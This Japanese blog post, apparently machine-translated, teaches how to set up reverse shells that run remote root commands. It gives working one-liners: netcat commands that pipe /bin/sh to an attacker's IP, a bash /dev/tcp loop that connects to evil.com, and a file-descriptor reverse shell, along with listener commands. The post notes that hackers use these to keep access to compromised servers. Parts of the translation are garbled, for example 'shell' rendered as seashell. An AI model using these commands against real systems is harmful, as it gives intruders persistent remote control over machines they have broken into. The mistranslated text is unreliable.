blog

リモート・ルート・コマンドを実行するリバース・シェルの作り方

リバースシェルとは、リモートマシンにシェルコマンドを送信する技術で、リモートマシンがファイアウォールのような他のものの背後にある場合に非常に便利です。ウェブ上では、普通のシェルとリバースシェルの区別が...

Jul 5, 2025 · 2 min. read
シェア

リバースシェル(Reverse shell)は、リモートマシンにシェルコマンドを送信するテクニックで、リモートマシンがファイアウォールのような他の何かの後ろにある場合に非常に便利になります。普通のシェルや単純な SSH チャネルではできないのでは?" と言われるかもしれません。いいえ、できません。普通のシェルとリバースシェルの区別がつかない人をオンラインでよく見かけます。この後を始める前に、これらの概念を整理しておきましょう。

リバースシェル(逆シェル)

リバースシェルは、シェルをポートにバインドするのではなく、リモートコンピュータが自身のシェルを特定のユーザーに送信することで動作します。後者は多くの環境ではアクセスできません。これにより、リモートサーバに対して root コマンドを実行することができます。

バインドシェル

バインドシェルはユーザーのBSAHで、シェルをローカルポートにバインドし、誰でもローカルネットワーク上でコマンドを送信できるようにします。

リバースシェルはハッカーが悪事を働くためによく使います。例えば、サーバーを侵害した後、リバースシェルをセットアップして、将来このリモートコンピュータに簡単にアクセスできるようにするのです。あなたはそのようなことには使わないと思いますが。

環境要件

  • リモートUnixホスト
  • netcatをインストールすると

NetCatとのリバース・シェル・インタラクション

シェルを使ってリモートホストにログインしたら、以下のコマンドで簡単にシェルをマシンに送信できます:

nc -c /bin/sh <IP> <ブロックされていないポート> 

netcat経由でBASHをパイプすることもできます。

/bin/sh | nc <IP> <ブロックされていないポート> 

では、この貝を聴いてください:

nc -l -p <同じポート> -vvv 

BASHによる逆シェル

このテクニックは、リモートマシンにnetcatがない場合や、不自然なことをしたいがあまり重い痕跡を残したくない場合に使用します。

貝殻に耳を傾けてください:

nc -l -p <ブロックされていないポート> -vvv 

まず、ネットワーク・ノードに割り当てられた新しい記述子を作成します。これにより、この記述子に対する読み取りと書き込みが可能になります。

exec 5<>/dev/tcp/evil.com/<同じポート> $ cat <&5 | while read line; do $line 2>&5 >&5; done 

または別のリバースシェル:

0<&196;exec 196<>/dev/tcp/<IP>/<同じポート>; sh <&196 >&196 2>&196 

この方法で、netcatを通してどんなコマンドでも簡単に送ることができます。

Read next

Linuxのコマンドラインを使ってAmazon S3クラウドストレージにアクセスするには?

Amazon S3 は、Amazon Web Drop Services が提供するクラウドストレージです。Amazon S3 は、数多くのサードパーティの商用サービスや、開発されたクライアントソフトウェアの上に、一連のウェブサービスインターフェースを公開しています。このチュートリアルでは、Linuxのコマンドラインを使ってAmazon S3クラウドストレージにアクセスする方法を説明します。

Jul 5, 2025 · 5 min read